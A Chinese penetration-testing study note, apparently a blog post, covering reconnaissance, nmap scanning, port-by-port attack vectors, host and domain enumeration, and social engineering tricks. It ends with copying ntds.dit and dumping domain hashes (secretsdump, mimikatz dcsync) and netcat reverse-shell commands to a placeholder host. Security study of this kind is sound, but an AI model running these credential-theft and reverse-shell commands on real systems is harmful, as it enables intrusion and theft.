渗透测试学习笔记
渗透测试:
确定目标:
选择渗透对象,进行渗透准备
信息收集:
指通过各种方式获取所需要的信息,便于在后续渗透过程更好进行,例如目标站点IP、中间件、脚本语言、端口、邮箱等是渗透测试成功的保障,提供更多暴露面和更大可能性
主动信息收集:
通过直接访问网站进行操作、扫描,是对有网络流量经过目标服务器的信息收集方式
被动信息收集:
基于公开渠道,在不与目标系统直接交互的情况下获取信息,且尽量避免留下痕迹
收集信息类型:
服务器信息:端口、服务、真实IP
网站信息:网站架构(操作系统、中间件、数据库、编程语言)、指纹信息、WAF、敏感目录、敏感文件、源码泄露、旁站查询、C段查询
域名信息:whois、备案信息、子域名
人员信息:姓名、职务、生日、联系电话、邮件地址
域名信息收集:
域名(Domain Name),简称域名、网域,是由一串用点分隔的名字组成的Internet上某一台计算机或计算机组的名称,用于在数据传输时标识计算机的电子访问(有时也指地理位置)
DNS(域名系统-Domain Name System)是互联网的一项服务,作为将域名和IP地址相互映射的一个分布式数据库来便于访问互联网
域名分类:
顶级域名(Top-Level Domain):
- 通用顶级域名(gTLD):例如.com、.org、.net、.info等
- 国家和地区顶级域名(ccTLD):例如.cn(中国)、.uk(英国)、.de(德国)等
二级域名(Second-Level Domain):
- 在顶级域名下的直接子域名,例如在.com下的***.com,或者在.cn下的***.cn
子域名:
- 子域名是二级域名或更深层次的域名,例如www.***.com、blog.***.com等都是***.com的子域名
根域名和顶级域名服务器:
- 根域名是域名系统层次结构的最高级别,例如'.',它不是任何特定主机或域名的一部分,顶级域名服务器负责管理根域名
国家代码顶级域名(ccTLD):
- 以国家代码作为顶级域名的域名,例如.cn(中国)、.us(美国)、.jp(日本)等这些域名通常是由各国政府管理
品牌域名:
- 基于特定品牌或公司的域名,用于形成品牌识别和建立网上业务
网络用途分类:
- 商业域名:用于商业目的的域名,例如以.com结尾的域名
- 教育域名:用于教育机构和学术研究机构的域名,例如以.edu结尾的域名
- 政府域名:用于政府机构和政府部门的域名,例如以.gov结尾的域名
- 非盈利组织域名:用于非盈利组织的域名,例如以.org结尾的域名
whois:
用于查询域名的IP以及所有者等信息的传输协议,查询域名是否被注册,以及注册域名的详细信息的数据库
whois查询:
通过查询可以获得域名注册者邮箱地址等信息,一般情况下中小型网站域名注册者就是网站管理员,可通过搜索引擎对whois查询到的信息进行搜索来获取更多域名注册者信息
查询方法:
whois:Web接口查询
kali命令行查询
whois 网站域名
备案信息:Web接口查询
http://www.beian.gov.cn/portal/registerSys
whois反查:
先通过whois获取注册人和邮箱,再通过注册人和邮箱反查域名,缺点是部分公司为DNS解析的运营商注册,查询到的是运营商代替个人和公司注册的网站信息
https://whois.chinaz.com/reverse?ddlSearchMode=1
子域名信息收集:
Google搜索引擎site:查询网站
第三方网站查询:https://dnsdumpster.com/
http://tool.chinaz.com/subdomain
网络空间安全搜索引擎:https://fofa.info/
SSL证书查询:https://crt.sh/
JS文件:https://github.com/Threezh1/JSFinder
工具:Layer、OneForAll、Subdomainsbrute、网络在线子域名爆破
IP信息收集:
IP反查域名:http://stool.chinaz.com/same
https://tools.ipip.net/ipdomain.php
旁注-虚拟主机有不同域名但通常共用一个IP地址,通过共用服务器的其他网站漏洞获取服务器权限,进而迂回获取渗透目标权限
域名查询IP:ping 目标网站
CDN:
即内容分发网络,构建在网络之上的内容分发网络,依靠部署在各地的边缘服务器,通过中心平台的负载均衡、内容分发、调度等功能模块,使用户就近获取所需内容,降低网络拥塞,提高用户访问响应速度和命中率
多地ping判断CDN:http://ping.chinaz.com/
http://www.webkaka.com/Ping.aspx
绕过CDN:
国外访问:https://tool.chinaz.com/speedworld/
查询子域名IP
phpinfo文件:Server-Addr信息
Mx记录邮件服务
查询历史DNS记录:https://dnsdb.io/zh-cn/
端口信息收集:
各主机间通过TCP/IP协议发送和接受数据包,各数据包根据其目的主机IP地址来进行路由选择,进而顺利传输数据包
协议端口:
TCP端口:面向连接的可靠传输层通信协议
UDP端口:无连接的不可靠传输层通信协议
TCP协议和UDP协议是独立的,因此各自端口号也互相独立
端口类型:
周知端口:众所周知的端口号,范围:0-1023
动态端口:一般不固定分配某项任务,范围:49152-65535
注册端口:用于分配给用户进程或程序,范围:1024-49151
端口作用:
进行踩点,了解服务器可能攻击途径
渗透端口:
FTP-21:文件传输协议,使用TCP端口20用于传输数据、21用于传输控制信息
- FTP基础爆破:owasp的Bruter、hydra、msf中的FTP爆破模块
- FTP匿名访问:用户名:anonymous 密码:任意邮箱或为空
- vsftpd后门:vsftpd2-2.3.4版本存在可获取root权限的后门漏洞
- 嗅探:FTP使用明文传输,使用Cain进行渗透,需要在局域网且欺骗或监听网关
- FTP远程代码溢出
- FTP跳转攻击
SSH-22:目前较可靠,转为远程登录会话和其他网络服务提供安全性
- 弱口令:使用hydra、msf中的SSH爆破模块
- SSH后门
- openssh用户枚举CVE-2018-15473
Telnet-23:TCP/IP协议族中一员,远程登录服务的标准协议和主要方式
- 暴力破解:使用hydra、msf中的Telnet爆破模块
- linux中采用SSH进行远程访问,传输的是加密数据,windows中传输的是明文数据,使用Cain等嗅探工具可截取登录密码
SMTP-25/465:邮件协议,linux中默认开启此服务,可发送钓鱼邮件
- 爆破:使用hydra爆破弱口令
- SMTP无认证伪造发件人
WWW-80:HTTP开放端口,用于万维网传输信息的协议
- 中间件漏洞,例如IIS、apache、nginx等
- 80端口一般通过Web应用程序的常见漏洞进行攻击
NetBIOS SessionService-139/445:139提供windows文件和打印机共享及UNIX中Samba服务,445提供windows文件和打印机共享
- 对于开放139/445端口,利用MS17010溢出漏洞攻击
- 对于只开放445端口,利用MS06040、MS08067溢出漏洞攻击
- 利用IPC$连接进行渗透
MySQL-3306:是MySQL数据库默认监听端口
- MySQL弱口令破解
- 弱口令登录MySQL上传恶意UDF自定义函数代码,通过调用注册的恶意函数执行系统命令
- SQL注入获取数据库敏感信息,load_file()函数读取系统文件,导出恶意代码到指定路径
RDP-3389:是windows远程桌面服务默认监听的端口
- RDP暴力破解攻击
- MS12_020死亡蓝屏攻击
- RDP远程桌面漏洞(CVE-2019-0708)
- MSF开启RDP、注册表开启RDP
Redis-6379:开源的基可基于内存的可持久化日志型数据库
- 爆破弱口令
- Redis未授权访问结合SSH key提权
- 主从复制rce
Weblogic-7001:
- 弱口令、爆破,弱密码一般为weblogic/Oracle@123 or weblogic
- 管理后台部署war包后门
- weblogic SSRF
- 反序列化漏洞
Tomcat-8080:
- Tomcat远程代码执行漏洞(CVE-2019-0232)
- Tomcat任意文件上传(CVE-2017-12615)
- Tomcat管理页面弱口令getshell
Nmap:
Network Mapper,一款开源的网络探测和安全审核工具
在线Nmap网站:
功能:检测网络存活主机(主机发现)
检测主机开放端口(端口发现或枚举)
检测相应端口软件(服务发现)版本
检测操作系统、硬件地址、软件版本
检测脆弱性漏洞(Nmap自带脚本)
端口状态:Open 端口开启,数据有到达主机,有程序在端口监控
Closed 端口关闭,数据有到达主机,无程序在端口监控
Filtered 数据未到达主机,返回结果为空,数据被防火墙或IDS过滤
UnFiltered 数据有到达主机,但不能识别端口当前状态
Open|Filtered 端口无返回值,主要发生在UDP、IP、FIN、NULL和Xmax扫描中
Closed|Filtered 只发生在IP、ID、idle扫描
基础用法:
nmap -A -T(0-5) *.*.*.*
- 注:默认扫描周知端口
单一主机扫描:nmap *.*.*.*
子网扫描:nmap *.*.*.*/*
多主机扫描:nmap *.*.*.* *.*.*.*
主机范围扫描:nmap *.*.*.*-*
IP地址列表扫描:nmap -iL ***.txt
扫描除指定IP外所有子网主机:nmap *.*.*.*/* --exclude *.*.*.*
扫描除文件中IP外子网主机:nmap *.*.*.*/* --excludefile ***.txt
扫描特定主机上80、21、23端口:nmap -p 80,21,23 *.*.*.*
探测存活主机:nmap -sn -v -T4 -oG Discovery.gnmap *.*.*.*/*
grep "Status:Up" Discovery.gnmap | cut -f 2 -d ' ' >liveHosts.txt
扫描全部端口:nmap -sS -v -T4 -Pn -p 0-65535 -oN FullTCP -iL liveHosts.txt
扫描常用端口及服务信息:nmap -sS -T4 -oG TopTCP -iL LiveHosts.txt
系统扫描:nmap -O -T4 -Pn -oG OSDetect -iL LiveHosts.txt
版本检测:nmap -sV -T4 -Pn -oG ServiceDetect -iL LiveHosts.txt
漏洞扫描:nmap.exe -p445 -v --script smb-ghost *.*.*.*/*
网站信息收集:
网站指纹识别:
网站基本组成:服务器(操作系统)、中间件(web容器)、脚本语言、数据库
操作系统:ping判断:windows的TTL值一般为128、linux一般为64,一般TTL大于100为windows、几十的为linux
nmap -O
windows大小写不敏感,linux区分大小写
网站服务/容器类型:F12查看响应头Server字段
whatweb
wappalyzer插件
脚本类型:php、jsp、asp/aspx、python
数据库类型:MySQL、SQLserver、access、oracle
CMS识别:常见dedecms(织梦)、Discuz、phpcms等
在线识别:http://whatweb.bugscaner.com/look/
https://github.com/iceyhexman/onlinetools
敏感文件及目录检测:
github、git、svn、.DS_Store、.hg、.bzr、cvs、WEB-INF、备份文件
Github泄露:搜索目标服务器编写程序员是否上传敏感信息至github
git:使用git进行版本配置时,配置不当导致.git文件部署到线上环境引起git泄露漏洞
*.git* intitle:"index of"
https://github.com/lijiejie/GitHack
svn:使用svn进行版本配置时,配置不当导致.git文件部署到线上环境引起svn泄露漏洞
*.svn* intitle:"index of"
https://github.com/admintony/svnExploit
WEB-INF/web.xml泄露:WEB-INF是Java的Web应用安全目录,若想在页面中直接访问其中的文件,须通过web.xml文件对要访问的文件进行相应映射才能访问
网站备份文件:网站备份文件泄露指管理员误将网站备份文件或敏感信息文件存放在某个网站目录下
https://github.com/7kbstorm/7kbscan-WebPathBrute
目录探测:dirsearch:https://github.com/maurosoria/dirsearch
dirmap(御剑后台扫描工具):https://github.com/H4ckForJob/dirmap
针对漏洞的信息泄露:https://github.com/LandGrey/SpringBootVulExploit
https://github.com/rabbitmask/SB-Actuator
网站WAF识别:
WAF:即Web Application FireWall(Web应用防火墙),是最有效、最直接的Web安全防护产品
WAF功能:防止常见各类网络攻击,例如SQL注入、XSS跨站、CSRF、网页后门等
防止各类自动化攻击,例如暴力破解、撞库、批量注册、自动发帖等
阻止其他常见威胁,例如爬虫、0 Day攻击、代码分析、嗅探、数据篡改、越权访问、敏感信息泄露、应用层DDOS、远程恶意包含、盗链、越权、扫描等
WAF识别:https://github.com/EnableSecurity/wafw00f
常用工具:
AWVS、Burpsuite、SQLmap
windows主机信息收集:
内网环境分析:
内网基础环境判断:IP、DNS、外网连通性、网络连接及端口、本机host文件、机器代理、域名、是否在域内
分析机器所处位置区域:DMZ区、办公区、生产区、核心DB等
分析机器的角色:普通Web服务器、开发服务器、文件服务器、代理服务器、DNS服务器、数据存储服务器等
分析进出口流量连通性:协议判断、端口判断
Linux主机信息收集:
系统架构:
交互操作
- 打印系统信息
uname -a
进程:
交互操作
- 列出当前进程快照
ps -ef
ps aux
- 查看进程PID为XX的信息
ls -al /proc/99
- 查看虚拟文件系统
ls -al /proc/
- 显示Linux机器的处理器活动
top
- 找到用户UID和GID
- id
- 显示登录到Linux服务器的人员
- w
- 显示当前用户名
- whoami
- 显示最后一次登录的用户
- last
- 显示上一次登录日志
- lastlog
SSH服务信息:
交互操作
- 查看SSH控制端配置文件
cat /etc/ssh/ssh_config
服务状态:
交互操作
- 检查所有服务状态
service --status-all
- 列出安装在文件系统中的所有单元
systemctl -a
- 启动某个服务
service XXX start
- 停止某个服务
service XXX stop
- 显示某个服务状态信息
service XXX status
安全:
交互操作
- 列出所有规则链
iptables -L
- 删除选定规则链中的所有规则
iptables -F
网络:
交互操作
- 显示当前可用的所有接口
ifconfig -a
- 显示或设置系统的主机名称
hostname
- 显示系统的DNS域名
dnsdomainname
- 显示网络状态
netstat -antp
文件系统:
交互操作
- 列出所有日志文件
ls -al /var/log/
工作组信息收集:
最常见最普通的资源管理模式
- 默认情况下所有计算机都处在WORKGROUP的工作组中
- 工作组资源管理模式适合于网络中计算机不多,对管理要求不严格的情况
- 建立步骤简单,上手简单,可采取工作组方式对资源进行权限分配和目录共享
- 相同组中不同用户通过对方主机用户名和密码可查看对方共享文件夹,默认共享Users目录
- 不同组中不同用户通过对方主机用户名和密码可查看对方共享文件夹
- 工作组并不存在真正集中管理作用,组内所有计算机都是对等的,没有服务器和主机之分
本机信息:
操作系统、权限、内网IP地址段、杀软、端口、服务、补丁情况、网络环境情况、共享、会话等
- 注:域内主机的操作系统、应用软件、补丁、服务、杀软一般是批量安装的
内网网段信息:
只有找到不同网段才能进行纵向渗透,否则只能横向渗透
- 内网网段扫描
- 文件共享、FTP连接记录、浏览器访问记录、mstsc连接记录
- 渗透路由器、交换机
用户信息:
- 查看本机用户列表
- 获取本地管理员信息
- 查看当前在线用户
- 查看当前用户在目标系统中的具体权限
- 查看当前权限
- 查看当前机器中所有组名,了解不同组的职能
系统信息:
- 查询网络配置信息
- 查询操作系统及软件信息
- 查看当前系统版本
- 查看系统体系结构
- 查询本机服务信息
- 查看安装的软件版本、路径等
- 查看进程信息
- 查看启动程序信息
- 查看计划任务
- 查看主机开机时间
- 列出或断开本地计算机与所连接的客户端对话
- 查询端口列表、本机开放端口和应用程序列表
- 查看远程连接信息
- 查看补丁列表、名称、描述、ID、安装时间等
- 查看杀软
网络信息:
- 磁盘映射
- 查看本机共享列表和可访问的域共享列表
防火墙信息:
- 查看防火墙配置
- 查看配置规则
- 开启/关闭防火墙
代理信息:
- 查看通过pac文件自动代理情况
回收站内容:
- 目录路径在C:/$Recycle. Bin
浏览器历史记录和Cookie信息
PowerShell信息:
FTP访问、共享连接、putty连接、驱动、应用程序、hosts文件、进程、无线网络记录
MSF信息
App分析:
https://github.com/kelvinBen/AppInfoScanner
域内信息收集:
域(domain):
一个有安全边界(两个域中,一个域中的用户无法访问另一个域中资源)的计算机集合,将网络中多台计算机逻辑上组织在一起进行集中管理,这种区别于工作组的逻辑环境叫做域,是组织与存储资源的核心管理单元,域中至少有一台域控制器保存整个域的用户账号和安全数据库
- 域成员计算机在登录的时候可以选择登录到域中或此计算机
- 登陆到域中的时候,身份验证是采用Kerberos协议在域控制器上进行的
- 登陆到此计算机时,是通过SAM来进行NTLM验证的
- 默认情况下,域用户可以登录到域中所有的工作站,不包括域控制器,管理员也可以指定具体的计算机,域用户信息保存在活动目录中
域控(Domain Control):
在域架构中域控是用来管理所有客户端的服务器,它负责每一台联入的电脑和用户的验证工作,域内电脑如果想互相访问首先都得经过它的审核
域控是域架构的核心,每个域控制器上都包含了AD活动目录数据库,一个域中可能要有至少两个域控,一个作为DC,一个是备份DC
活动目录AD(Active Directory):
- 域环境中提供目录服务的组件
- 在活动目录中,所有的网络对象信息以一种结构化的数据存储方式来保存
- 活动目录存储着有关网络对象的信息,如用户、组、计算机、共享资源、打印机和联系人等安装有AD活动目录的服务器就是域控DC
用户可以通过AD活动目录定位到内网中的资源位置
- Builtin容器:Builtin容器是Active Driectory默认创建的第一个容器,主要用于保存域中本地安全组
- Computers容器:Computers容器是Active Driectory默认创建的第2个容器,用于存放Windows Server域内所有成员计算机的计算机账号
- Domain Controllers容器:Domain Controllers是一个特殊的容器,主要用于保存当前域控制器下创建的所有子域和辅助域
- Users容器:Users容器主要用于保存安装Ative Driectory时系统自动创建的用户和登录到当前域控制器的所有用户账户
DNS域名服务器:
域控服务器要求DNS服务器按名称查找计算机、成员服务器和网络服务
域名解析:DNS服务器通过其A记录将域名解析成IP地址
定位活动目录服务:客户机通过DNS服务器上的SRV服务记录定位提供某一个服务的计算机
- 查询域
- 查询域内所有计算机
- 查询域内所有用户组
- 查询域管理员用户组
- 查询所有域成员计算机列表
- 查询域系统管理员用户组
- 查看域控制器
- 查看工作站域DNS名称和登录域域控制器的信息是否匹配、
- 查看域内所有账号
- 查询指定用户的详情问题
- 查看时间可以找到域控
- 查看当前域内所有机器,结合dsquery使用
- 查看当前域中所有账户名
- 查看当前域内所有组名
- 查看当前域所在网段,结合nbtscan使用
- 查看域内所有Web站点
- 查看当前域中服务器
- 查看域内信任关系
- 查看域控制器机器名
- 查看域内邮件服务器
- 查看域内DNS服务器
- 查看域内主域控
定位域控:
- 查询IP
- 查询DNS解析记录
- SPN扫描
C段存活主机探测:
Nmap:nmap -sP www.***.com/24||nmap -sP 192.168.1.*
Cwebscanner:python2 Cwebscanner www.***.com
Windows密码凭证信息收集:
Windows Hash简介:
Windows系统使用两种方法对用户的密码进行哈希处理,分别是LAN Manager(LM)哈希和NT LANManager(NTLM)哈希
哈希(hash)是使用一种加密函数进行计算后的结果,这个加密函数对一个任意长度的字符串数据进行一次数学加密函数运算,然后返回一个固定长度的字符串
现在已经有了更新的NTLMv2以及Kerberos验证体系
Windows加密过的密码口令,称之为hash,Windows的系统密码hash默认情况下一般由两部分组成:第一部分是LM-hash,第二部分是NTLM-hash
Hash分类:
2000 | XP | 2003 | Vista | win7 | 2008 | 2012 | |
LM | √ | √ | √ | ||||
NTLM | √ | √ | √ | √ | √ | √ | √ |
- 注:LM哈希密码最大长度为14,密码长度超过14位使用NTLM哈希
- NTLM哈希是一种单向哈希算法,Windows将用户的密码计算成NTLM哈希之后才存储在电脑中
- 本地认证中用来处理用户输入密码的进程为lsass.exe,密码会在这个进程中明文保存,供该进程将密码计算成NTLM Hash与sam进行比对,使用mimikatz来获取的明文密码便是在这个进程中读取到的
Hash格式:
用户名称:RID:LM-HASH值:NT-HASH值
Windows认证基础:
- 本地认证:用户直接操作计算机登录用户
- 用户输入密码
- 系统收到密码后将用户输入的密码计算成NTLM Hash
- 与sam数据库中该用户的哈希对比
- 匹配则登陆成功,否则登录失败
- 网络认证:远程连接到工作组中的某个设备
- 域认证:登录到域环境中某个设备
系统用户密码凭证获取:
凭证获取工具:
- Mimikatz
- Powershell脚本
- WCE
- Pwddump7
- Ophcrack配合彩虹表破解Hash值
- Procdump+Mimikatz
- 注册表导出Hash
- LaZagne
- Meterpreter
- CobaltStrile
Others:
- Powershell脚本获取RDP连接记录
- PPTP口令获取
- MySQL数据库密码破解(hashcat)
- 常用软件密码获取
域内密码凭证信息收集:
Volume Shadow Copy:
是微软从Windows XP开始提供的用于创建一致性时间点副本的服务框架
- 用于数据备份
- 支持Windows Server 2003及以上操作系统
- 系统默认在特定条件下自动创建数据备份,如安装补丁后
- 禁用VSS会影响系统正常使用,如System Restore和Windows Server Backup
活动目录数据库:
ntds.dit: 活动目录数据库,包括有关域用户、组和组成员身份的信息,它还包括域中所有用户的密码哈希值
为了保护密码哈希值,使用存储在SYSTEM注册表配置单元中的密钥对这些哈希值进行加密,因此想要破解sam文件与ntds.dit文件都需要拥有一个system文件
AD DS数据存储:
- 由ntds.dit 文件构成
- 默认存储在所有域控制器上的%SystemRoot%\NTDS文件夹中
- 只能通过域控制器进程和协议访问
由于Windows阻止对这些文件的标准读取或复制操作,必须使用特殊技术来获取副本
Ntdsutil:
为Active Directory提供管理设施的命令行工具,域环境默认安装
支持
- Server 2003
- Server 2008
- Server 2012
交互操作
- 查询当前系统快照
ntdsutil snapshot "List All" quit quit
ntdsutil snapshot "List Mounted" quit quit
- 创建快照
ntdsutil snapshot "activate instance ntds" create quit quit
- 挂载快照
ntdsutil snapshot "mount{XXX}" quit quit
- 复制ntds.dit
copy C:\$SNAP_XXX_VOLUMEC$\windows\NTDS\ntds.dit c:\ntds2.dit
- 卸载快照
ntdsutil snapshot "unmount{XXX}" quit quit
- 删除快照
ntdsutil snapshot "delete{XXX}" quit quit
Vssadmin:
Windows系统提供的卷影复制服务(VSS)的管理工具,域环境默认安装
- 用于创建或删除卷影副本,列出卷影副本的信息
- 用于显示所有安装的所有卷影副本写入程序和提供程序
- 改变卷影副本存储空间的大小等
交互操作
- 查询当前系统快照
vssadmin list shadows
- 创建快照
vssadmin create shadows /for=c:
- 获得Shadow Copy Volume Name
\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy10
- 复制ntds.dit
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy10\windows\NTDS\ntds.dit c:\ntds3.dit
- 删除快照
vssadmin delete shadows /for=c:/quiet
Vshadow:
简单指令行工具,允许任何人创建卷影拷贝,系统默认不支持,可在Microsoft Windows Software Development Kit(SDK)中获得该工具
交互操作
- 查询当前系统快照
vshadow.exe -q
- 创建快照
vshadow.exe -p -nw C:
- 复制ntds.dit
copy [Shadow copy device name]\windows\ntds\ntds.dit c:\ntds.dit
- 删除快照
vshadow -dx=ShadowCopySetld
vshadow -ds=ShadowCopyld
- 注:调用Volume Shadow Copy服务会产生日志文件,位于System下,Event ID为7036
- 执行ntdsutil snapshot "activate instance ntds" create quit quit会额外产生Event ID为98的日志文件
NinjaCopy:
通过NinjaCopy获得域控服务器NTDS.dit文件,未调用Volume Shadow Copy服务,不会产生日志文件7036
解密ntds.dit:
QuarkPwDump:
开源Windows用户凭据提取工具,可以抓取Windows平台下多种类型用户凭据-本地账户、域账户、缓存的域账户和Bitlocker
交互操作
- 修复复制出来的数据库文件
esentutl /p /o ntds.dit
- 直接读取信息并将结果导出至文件
QuarksPwDump.exe --dump-hash-domain --output XXX.com.txt --ntds-file ntds.dit
Secretsdump:
impacket套件中的secretsdump.py脚本解密
交互操作
-
secretsdump.exe -sam sam.hiv -security security.hiv -system sys.hiv LOCAL
secretsdump.exe -system system.hive -ntds ntds.dit LOCAL
NtdsAudit:
高效的破解ntds文件并将全部域用户信息导出方便查找域用户状态
交互操作
- 将ntds.dit文件和SYSTEM文件放在同一目录下执行命令
NtdsAudit.exe "ntdsdit" -s "system.hive" -p pwdump.txt --users-csv users.csv
Mimikatz:
Mimikatz有一个功能(dcsync),可以利用目录复制服务(Directory Replication Service,DRS)从NTDS.DIT文件中提取密码哈希值
交互操作
- 通过dcsync直接获取XXX域内所有用户hash
sadump::dcsync /domain:XXX.com /all /csv
社会工程学信息收集:
1. 熟人好说话
这是社会工程师中使用最为广泛的方法,原理大致是这样的,社会工程师首先通过各种手段(包括伪装)成为你经常接触到的同学、同事、好友等,然后,逐渐,他所伪装的这个身份,被你的公司其他同事认可了,这样,社会工程师会经常来访你所在的公司,并最终赢得了任何人的信赖,于是,社会工程师就可以在你所在的公司中获得很多权限来实施他们的某些计划,例如访问那些本不应该允许的办公区域或机密区域,或者下班后还能进入办公室等等
2. 伪造相似的信息背景
当你开始接触到一些人,他们看起来很熟悉你所在的组织内部情况,他们拥有一些未公开的信息时,你就会很容易把他们当成了自己人,所以,当有陌生人以公司或员工名义进入你所在的办公室时,他们也很容易获得通行许可,但是在当今的这个社会,从各种社交网络,有目的性、针对性获得特定的个人信息实在太容易不过了,所以,我建议,如果再有任何人声称对某位同事、特别是上级领导非常熟悉的话,可以让该员工在指定区域等待便是,不要随便给予任何许可
3. 伪装成新人打入内部
如果希望非常确定地获取公司某些机密信息,社会工程师还可以伪装成一名前来求职的陌生人,从而让自己成为公司的“自己人”,这也是每个新员工应聘都必须经过公司背景审查阶段的原因之一,当然,还是有些社会工程师做得瞒天过海,所以,在新员工的工作环境中也应有所限制,这听起来有些严酷,但是必须给每位新员工一段时间来证明,他们对宝贵的公司核心资产来说是值得信任的,即使如此,优秀的社会工程师都通晓这套公司的工作流程,所以在完全获得公司层面的信任后,才会真正实施展开他们的目标计划
4. 利用面试机会
同样,很多的重要信息,往往都会在面试时的交流中泄露出去,精通社会工程学的黑客会抓住这点并利用,无需为了获取这点信息而专门去上一天班,就可以通过参加面试,获得公司的一些重要信息,所以,建议,公司需要确保面试过程中,给出的一些信息没有包含公司机密资料,尽量以保障公司核心机密而做出一些面试标准
5. 恶人无禁忌
这可能听起来有些违背直觉,但确实会有奏效,普通人一般对表现出愤怒和凶恶的人,往往会选择避而远之,当看到前面有人手持手机大声争吵,或愤怒地咒骂不停,很多人都会选择避开他们,并且远离他们,事实上,大多数人都可能会这样选择,从而,为社会工程师让出了一条通向公司内部和核心数据的通道,不要被这种伎俩欺骗了,一旦你们看到类似的事情发生,通知保安处理就好
6. 他懂我就像我肚里的蛔虫
一个经验丰富的社会工程师是精于读懂他人肢体语言并加以利用,他可能和你同时出现一个音乐会上,和你一样对某个节段异常欣赏,和你交流时总能给予你适当的反馈,让你从内心上感觉好像遇到了知己!你和他之间开始建立了一个双向开放的纽带,慢慢地,他就开始影响着你,进而利用你去获取你所在公司的一切对于他来说有利用价值的机密信息,听起来就像一个间谍故事,但事实上,这种画面经常会发生在我们身上,切勿掉以轻心
7. 美人计
我们的老祖宗早就提到过美人计的厉害,但是,很多时候,大多数人是无法抵抗这一招的,就像我们在电影上、电视剧中的梦幻情节,忽然在某天,有一位帅哥(或美女)突然要约你出去,期间,你们俩就一见投缘,谈笑甚欢,更美妙的是,见面之后,一次次约会接踵而来,直到她可以像讨论吃饭一样,不费精力就能轻而易举从你的口中,套出了公司的机密信息,我并非要摒绝你的浪漫情缘,但是,天上不会掉馅饼,请警惕那些问出不该问的问题的人
8. 外来的和尚会念经
这种事情已经在发生了,一个社会工程攻击者经常会扮演成某个技术顾问,在完成某些顾问工作的同时,他们还获取了你的个人信息,对于技术顾问来说,尤为如此,你必须对这些技术顾问进行审查同时也要确保不会给他们有任何泄露机密的可乘之机,切忌仅仅因为某些人有能力帮助你解决服务器或网络问题,就随意轻信他人,并不意味着他们不会借此来创建一个后门程序,或是直接拷贝你电脑上的一切机密数据,所以,关键还是审查、审查、再审查
9. 善良是善良者的墓志铭
这种方法简单而又如此常见,社会工程师会等待机会,等待他们眼中的目标员工用自己的密码开门进入时,紧随他们的身后,进入公司,他们很巧妙的做法,就是扛着沉重的箱子,并以此要求他们眼中的目标员工为他们扶住门把,善良的员工一般会在门口帮助他们,然后,社会工程师就可以开始实施自己的任务
10. 来一场技术交流吧
电影《Hackers》有这样一幕——Dade(也叫Zero Cool)打给一家公司,并说服一个职员给他调制解调器数量,这里面的谈话就是他主要的渗透工作,那名倒霉的员工自然会告诉他任何需要知道的机密信息,这就是一次普通的社工攻击,当毫无防范意识的员工,遇到了精心准备、精心伪装的黑客,人们大都会因为没有应对社会工程攻击的经验,从而泄露给社会工程师想要的任何的一切机密资料
其他信息收集:
历史漏洞信息:http://wy.zone.ci/
漏洞探测(手动/自动):
Metasploit框架:
即MSF,开源安全漏洞利用和测试工具,集成了各种平台上常见溢出漏洞和shellcode
Cobalt Strike:
即CS,团队作战渗透测试神器,分为客户端及服务端,是MSF中armitage增强版
漏洞分析
Weblogic:
基于JavaEE架构的中间件,用于开发、集成、部署和管理大型分布式Web应用、网络应用和数据库应用的Java应用服务器
特征:默认在7001端口开放服务
Web界面:Error 404--Not Found
历史漏洞:CVE-2017-10271 CVE-2018-2628 CVE-2018-2893
CVE-2018-2894 CVE-2018-3191 CVE-2018-3245
CVE-2019-2618 CVE-2019-2725 CVE-2019-2729
CVE-2019-2890 weblogic弱口令 weblogic ssrf
CVE-2020-2551 CVE-2020-2883 CVE-2020-2555
漏洞利用:shodan、fofa、钟馗之眼等
app="BEA-WebLogic-Server"
google hacking:inurl:漏洞地址
intitle:Weblogic等
Thinkphp5:
快速、兼容且简单的轻量级国产PHP开发框架
特征:
应用:很多CMS基于thinkphp5开发,当thinkphp5出现问题会影响基于其开发的网站
历史漏洞:ThinkPHP3.23 缓存函数设计缺陷可导致Getshell
ThinkPHP5_SQL注入漏洞&&敏感信息泄露
ThinkPHP3.2.3 最新版update注入漏洞
ThinkPHP5.0.10缓存函数设计缺陷可导致Getshell
ThinkPHP3.2.X find_select_delete注入
ThinkPHP框架5.0.X_sql注入漏洞分析
ThinkPHP3X order_by注入漏洞
ThinkPHP5X order_by注入漏洞
ThinkPHP5.X远程代码执行
Struts2:
特征:网页后缀为.do或.action等
devMode为true时当/struts/webconsole.html存在时
Jboss:
基于J2EE的开源应用服务器
特征:
历史漏洞:JMX Console未授权访问Getshell
JMX Console HtmlAdaptor Getshell(CVE-2007-1036)
JMX控制台安全验证绕过漏洞(CVE-2010-0738)
Administration Console 弱门令 Getshell
Fastjson:
阿里巴巴公司开源的一款json解析器,被广泛应用于厂商开发的Java程序中
特征:出现json格式的地方很有可能使用fastjson
历史漏洞:1.2.24、1.2.47
Shiro:
强大易用的java安全框架,提供认证、授权、加密和会话管理等功能
特征:当抓包重放后Set-Cookie: rememberMe=deleteMe时
历史漏洞:Shiro-550、Shiro-721
Redis:
开源的遵守BSD协议的高性能key-value数据库,用于存储、缓存数据,需要快速读、写的数据的情景
特征:默认在6379端口开放服务
历史漏洞:未授权访问:因配置不当使攻击者无需认证就可访问内部数据,导致敏感信息泄露
主从复制RCE:通过C语言编译加载恶意.so文件,达到代码执行目的
漏洞利用(手动/自动):
弱口令密码破解:
使用枚举方式爆破用户信息
内网文件传输:
Windows:
- FTP服务
- Bitsadmin
- Certutil
- Powershell
- SCP
Linux:
- Wget
- Curl
- Netcat
- SFTP
- DNS传输数据
脚本语言:
- PHP
- Pyhton
- Perl
- Ruby
反弹Shell:
正向Shell:控制端主动发起连接请求去连接被控制端(中间网络链路不存在阻碍)
反向Shell:被控制端主动发起连接请求去连接控制端,通常被控制端由于防火墙限制、权限不足、端口被占用等问题导致被控制端无法正常接收发送过来的数据包
Windows反弹Shell:
NC正向Shell:
交互操作
- 被控制端:
nc -lvvp XXXX -e cmd.exe
- 控制端:
nc XXX.XXX.XXX.XXX
- 原理:被控制端将cmd.exe重定向到本地XXXX端口,控制端主动连接被控制端XXXX端口,获得Shell
NC反向Shell:
交互操作
- 控制端:
nc -lvvp XXXX
- 被控制端:
nc -e cmd.exe XXX.XXX.XXX.XXX XXXX
- 原理:被控制端将cmd.exe重定向到控制端的XXXX端口,控制端只需监听本地XXXX端口,获得Shell
信息整理
形成报告
本文来自博客园,作者:{xXiAOxi},转载请注明原文链接:{https://www.cnblogs.com/bravexiaoxi/},仅作为学习参考记录和使用,请勿用于任何非法用途!